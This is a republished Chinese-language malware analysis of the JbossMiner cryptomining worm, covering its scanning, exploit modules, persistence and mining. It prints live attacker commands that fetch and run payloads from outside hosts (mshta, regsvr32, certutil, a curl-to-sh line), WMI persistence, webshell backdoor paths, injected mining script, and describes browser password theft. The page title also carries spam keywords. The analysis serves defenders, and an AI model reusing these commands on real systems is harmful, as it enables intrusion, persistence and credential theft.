压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

JbossMiner 挖礦蠕蟲分析

自2017年11月以來,阿里云安全監控中心成功捕獲到一系列的同源挖礦事件,被感染的主機中發現了名為F-Scrack-Jexboss的惡意文件,用于執行挖礦任務,并對外掃描擴散。本次受害主機以Jboss服務為主,我們將其命名為“JbossMiner”。

通過監控JbossMiner相關情報,阿里云安全團隊發現,JbossMiner挖礦蠕蟲在18年初爆發式增長,隨后增速迅猛,近期稍有回落。

本文將以“JbossMiner”的核心代碼為基礎,分別從掃描、入侵、利用、挖礦等功能進行展開,完整分析并還原整個過程。希望研究者和非安全專業領域的讀者們,能從全局角度看到挖礦木馬如何瞄準“宿主”,擴張木馬僵尸網絡,并可持續利用。為企業和機構的入侵檢測和挖礦防范,提供新的視角。

注:JbossMiner中用到的漏洞,阿里云上已默認可攔截,并且,安騎士已可以檢測JbossMiner中的惡意程序,和執行的惡意命令。建議及時關注威脅提示,如有異常事件可盡快處理。

解構JbossMiner:核心代碼分析

阿里云安全團隊在蜜罐中捕獲到該二進制樣本,該樣本由py2exe打包,解包反編譯后是一套由Python編寫的完整攻擊程序,包含源碼及依賴類庫等數十個文件,核心功能代碼文件列表如下圖所示:

其核心功能分為四大部分,分別為:掃描、入侵、惡意代碼植入、挖礦。通過這幾部分的分工協作,完成整個入侵——植入——持續擴張流程。相關邏輯由Python和Shell腳本實現。

下圖為“JbossMiner”完整的傳播及利用路徑:

下面,本文將對上述四大功能部分進行詳細分析。

JbossMiner的掃描過程

  • 內網掃描:讀取本機網絡地址并據此生成C段進行掃描。
  • 公網掃描:從指定地址拉取IP和子網掩碼,并解析成對應的IP列表。

u.swb.one會在每次請求時生成一段目標地址,如下所示:

199.123.16.0/21
103.30.248.0/22
58.10.0.0/15
94.76.64.0/18

隨后JbossMiner對目標IP進行ICMP探活,隨后對存活主機的指定端口進行掃描,并根據端口對應的服務啟動攻擊模塊。

JbossMiner的入侵模塊分析

JbossMiner蠕蟲客戶端內置的入侵模塊有以下幾種。

  • Jboss利用模塊

Jboss是一款開源的企業級Java中間件,用于實現基于SOA架構的web應用和服務。2015年,安全研究人員披露Java反序列化漏洞利用方案,Jboss首當其沖,直至今日仍有相當數量存在漏洞的服務器暴露在公網。JbossMiner復用了開源自動化入侵工具Jexboss,該工具由Python編寫,支持多種Jboss命令執行漏洞的檢測和利用。

  • Struts2利用模塊

Struts2是當下流行的Java網絡應用框架,針對該框架的命令執行漏洞層出不窮。據阿里云態勢感知觀測,目前Struts框架漏洞仍為黑色產炙手可熱的入侵手段。JbossMiner內部集成了從S2-005到S2-053的全部漏洞利用代碼,入侵成功后通過系統命令控制目標服務器遠程拉取文件進行挖礦和持久化。

  • “永恒之藍”利用模塊

永恒之藍(EternalBlue)是美國國家安全局開發的漏洞利用程序,于2017年4月14日被黑客組織公開,并催生了以WannaCry為首的諸多蠕蟲變種。目前很多機器已經修復該漏洞,暴露在公網的影響面有限,但仍不失為一種內網傳播的有效手段。

  • MySQL利用模塊

MySQL服務的攻擊面主要集中在SQL注入、弱口令及未授權訪問。JbossMiner中的MySQL利用模塊對系統及MySQL版本進行了簡單適配,通過以下兩種方式穿透到主機。

  • 利用方式
    通過outfile/dumpfile導出文件,加載為UDF,執行系統命令。

UDF以16進制的方式存在于Python代碼中,對Windows、Linux進行適配。

落盤文件IOC

文件名
lib_mysqludf32_sys.dll
lib_mysqludf64_sys.dll
lib_mysqludf32_sys.so
lib_mysqludf64_sys.so

該木馬攜帶的lib_mysqludf32/64動態鏈接庫,其核心功能就是為了執行MySQL命令,以便運行惡意腳本,該木馬作者將執行命令的代碼放在了sys_bineval函數中,其中線程函數StartAddress負責執行用戶傳入的參數。

代碼截圖如下(Linux版本的代碼類似):

  • 利用方式2

通過開啟查詢日志,并設定日志文件路徑在crontab目錄下,可以向定時任務寫入惡意代碼,除此之外MySQL中還有其他類似的日志配置文件可被利用。

  • Redis利用模塊

Redis服務的攻擊面以未授權訪問和弱口令為主,利用該服務穿透到主機進行后續滲透的方法五花八門,如利用數據導出功能將惡意代碼寫入系統的指定位置(如web后門、計劃任務、SSH密鑰等)。

JbossMiner首先探測目標Redis服務是否存在未授權登錄,隨即使用內置字典爆破密碼,并將成功后的信息回傳到黑客控制的回顯平臺。

其中make_crontab函數通過寫crontab的方式穿透到系統,接入后續挖礦代碼。

  • Tomcat/Axis利用模塊

JbossMiner針對Tomcat/Axis服務的入侵方式為WEB層弱口令爆破。

成功登入后,通過Tomcat上傳功能部署后門,war包代碼以hex格式存于Python代碼中。

隨后通過HTTP請求連接后門,依次下發后續利用的命令。

對Axis服務的利用方式與之相同,不再贅述。

部署的后門地址IOC如下:

服務 后門地址
Axis http://%s/axis2/services/Cat/exec?cmd=
Tomcat http://%s/is/cmd.jsp?pwd=futuresec&&cmd=

JbossMiner的后續利用方式

JbossMiner在成功攻破的服務器中執行系統命令以完成后滲透利用,具體指令如下:

'SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F',
'wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"',
'curl -sL https://lnk0.com/VhscA1 | sh',
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"',
'wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"',
'wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"',
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"',
'bitsadmin /create updateer3',
'bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe',
'bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"',
'bitsadmin /Resume updateer3'

使用 SchTasks.exe、wmic、bitsadmin來實現在Windows平臺的自啟動,除此之外,并針對Windows和Linux執行不同的腳本,后續所有的惡意行為都由這兩個腳本來完成,主要實現持久化、蠕蟲傳播、挖礦、竊取瀏覽器敏感信息等。

文章后面部分內容,將針對這兩部分詳細分析。

針對Windows系統的利用程序(vbs腳本)
http://enjoytopic.esy.es/ps3.txt

Linux系統的利用程序(Shell腳本)
https://lnk0.com/VhscA1

Windows Payload

針對Windows系統,JbossMiner在攻擊成功后將使用mshta命令執行名為ps3.txt的vbs腳本,ps3.txt中的shellcode執行流程簡圖如下:

ps3.txt文件的部分內容截圖如下:

解密后的vbs中嵌入了一段powershell命令,解密后,var_code即為最終要執行的代碼(base64編碼)如下:

var_code是為一段shellcode,shellcode內自己實現LoadLibrary和GetProcAddress邏輯,動態加載wininet.dll,獲取wininet.HttpOpenRequestA等相關API來實現http的訪問。

它會請求d1uga3uzpppiit.cloudfront.net/dCrC文件,該文件是一個加密后的DLL,MZ頭經過精心構造,可直接當作代碼執行。解密后的dll中包含導出函數ReflectiveLoader,負責reload自身并執行。從結構上來看,這部分payload由Metasploit生成,與上文中提到的Mettle類似。

該dCrC文件主要作用就是接受服務器下發的powershell命令并運行,其核心代碼截圖如下:

在dCrC文件與swb.one服務器交互,接收其powershell命令并執行,完成自啟動和下發其他惡意程序(挖礦、蠕蟲、竊密)。

powershell命令經過解密后如下:

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value mshta http://xmr.enjoytopic.tk/d/ps3.txt

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater2 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater3 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater111';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater111';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer};

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater222';EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"};$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater222';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer};

除了上述的下發powershell命令外,還下發了兩條下載命令:

C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%\svthost.exe &&wmic process call create %temp%\svthost.exe
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%\svshost.exe &&wmic process call create %temp%\svshost.exe

分別下載svthost.exe的后門程序和svshost.exe橫向滲透傳播程序,其中svshost.exe橫向滲透傳播程序也是由python腳本打包而成的exe程序,于運行時釋放運行所需文件,其文件列表截圖如下:

下面再來看看這個svthost.exe的后門程序是如何盜取瀏覽器用戶名和密碼信息的 — 我們在測試環境下作了驗證。

后門程序不僅盜取Chrome瀏覽器中存儲的賬號和密碼,還盜取Firefox瀏覽器中存儲的賬號和密碼。其上傳盜取數據的接口是:https://u.swb.one/upload/win,相關代碼截圖如下:

Chrome瀏覽器將訪問網站的相關用戶名和密碼,加密保存在一個SQLite數據庫中,路徑為:%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data”。svthost.exe后門程序首先遍歷進程檢查被攻擊者的電腦是否運行了Chrome瀏覽器(chrome.exe),之后再去獲取Chrome瀏覽器賬號和密碼保存的數據庫文件,解密后上傳到黑客的外部服務器。

檢查Chrome瀏覽器保存密碼的數據庫路徑:

其中sub_417C10函數拿到解密后的賬號和密碼,發送到外部服務器。

同樣,svthost.exe后門程序也是先確認該用戶是否安裝了Firefox瀏覽器,然后利用NSS的開源庫,對沒有設置瀏覽器設定主密碼的攻擊對象(一般會默認為空)進行破解,提取全局hash,獲得它與空密碼做hash后的運算結果,然后使用該結果破譯SDR密鑰,再用破譯的SDR密鑰危害證書,最后拿到Firefox瀏覽器中保存的賬號和密碼。

檢測是否安裝了Firefox瀏覽器代碼片段:

加載NSS開源庫的nss.dll,然后利用其提供函數進行運算:

最后拿到被攻擊者的網站,以及其對應的用戶名和密碼,并上傳到服務器,其代碼片段如下:

Linux Payload

針對Linux系統,JbossMiner在攻擊成功后將命令寫入crontab來實現后續利用,宿主機將定期下載指定shell腳本執行。

對該shell進行進一步分析,首先從遠端拉取名為hawk的文件并執行。

該文件實為MetaSploit中的Mettle組件,根據預設的DNS(cs.swb.one)查找控制端反彈shell,其中swb.one域名下多次發現黑客資產,分別用于文件服務、接收爆破成功后回傳的信息、接收反彈shell。

JbossMiner挖礦過程

JbossMiner針對Windows和Linux系統分別做了兩套挖礦程序,實現跨平臺挖礦。兩套挖礦程序在不同平臺下的運轉詳情分析如下。

Windows平臺的挖礦部分

在Windows系統上,JbossMiner蠕蟲執行regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll等命令,在vbs腳本中實現下載挖礦程序并執行,相關代碼如下:

這里借助MSXML2.XMLHTTP和WScript.Shell對象,將http://enjoytopic.esy.es/rigd32.txt挖礦程序下載到系統的臨時目錄,配置礦池和錢包參數,啟動挖礦程序進行挖礦謀利。

Linux平臺的挖礦部分

JbossMiner蠕蟲在linux平臺上啟動的sh腳本具體內容如下,它判斷用戶是否為root,若是則執行lowerv2.sh,若否則再次嘗試寫root用戶的crontab,同時執行rootv2.sh,這兩個shell腳本實現了挖礦邏輯。

以低權限挖礦腳本(lowerv2.sh)為例,腳本從遠端下載礦機的配置文件(config.json)和挖礦程序(bashd)進行挖礦,同時復用上述反彈shell的部分代碼。其內置了三組配置文件和挖礦程序,依次作為候補方案。

執行次序 挖礦程序 配置文件
1 lienjoy.esy.es/bashd lienjoy.esy.es/config.json
2 lienjoy.esy.es/bashe lienjoy.esy.es/config.txt
3 lienjoy.esy.es/bashf lienjoy.esy.es/bashf.cfg

高權限挖礦腳本(rootv2.sh)挖礦邏輯與lowerv2相同,只是刪除了寫root用戶的定時任務相關代碼。

配置文件主要用于云控配置礦池地址和錢包地址,大部分類似。以config.json為例,其詳細內容如下:

主頁篡改-JS挖礦

基于阿里云態勢感知,我們同期監控到多起Webshell通信事件與主頁掛馬事件。經分析發現,與JbossMiner為同一團隊所為。與本次行動相關的Webshell,覆蓋多種腳本語言的不同系統,其中部分存在明顯的手工操作痕跡。

黑客通過Webshell向主機下發挖礦程序,同時在目標CMS主頁插入前端挖礦代碼,利用訪問者的算力進行挖礦。

部分通過webshell執行的命令:

C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://d3oxpv9ajpsgxt.cloudfront.net/rigd64.exe',$env:TEMP+'/explorer.exe');start-process -WindowStyle Hidden $env:TEMP/explorer.exe -ArgumentList '-o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B'
C:\\Windows\\TEMP\\explorer.exe\" -o pool.monero.hashvault.pro:80 -u 45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV -p iZ23jdqrusfZ --donate-level=1 --max-cpu-usage=90 -k -B 
reg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v Updater2 /t REG_SZ /d C:\\Users\\Public\\Updater2.vbs /f
cmd.exe /c cmd /c \"cd /d D:\\phpStudy\\WWW\\&certutil -urlcache -split -f http://121.126.223.211/tg.exe c:\\a.exe && wmic process call create c:\\a.exe&echo [S]&cd&echo [E]\" 2>&1
C:\\Windows\\system32\\cmd.exe /C certutil -urlcache -split -f http://enjoytopic.esy.es/tg3.txt svthost.exe && svthost.exe

主頁插入代碼:

<IfRAME height=0 width=0 sRc ="http://d3lvemwrafj7a7.cloudfront.net/c"></IFrAME>
<script>var commandModuleStr = '<script src="https://d1ebv77j9rbkp6.enjoytopic.com/hook.js" type="text/javascript"><\/script>';document.write(commandModuleStr);</script>

其中iframe標簽攜帶挖礦代碼,礦池地址為pool.blockbitcoin.com,代碼復用自開源礦池CryptoNoter。

結語

通過對JbossMiner的整體分析,我們發現,由于網上現成攻擊代碼的泛濫,和惡意文件對PE、ELF等可執行文件的依賴性減弱,使攻擊者的技術門檻進一步降低。

例如,在JbossMiner中,由于借助wmi實現自啟動,使用regsvr32.exe等下載惡意腳本執行,加之功能主要由vbs腳本實現,最后又借用了metasploit等成熟的攻擊套件。這一系列的“基礎”,使得攻擊者不需要專業的編碼能力,即可完成攻擊。

從勒索軟件、到挖礦木馬,如何提升自身的防御水平,而不是簡單的拉長防線,是業界和企業,需要警惕和思考的問題。

原文:https://xianzhi.aliyun.com/forum/topic/2189

 

上一篇:基于PU-Learning的惡意URL檢測

下一篇:CVE-2018-7600:Drupal核心遠程代碼執行漏洞預警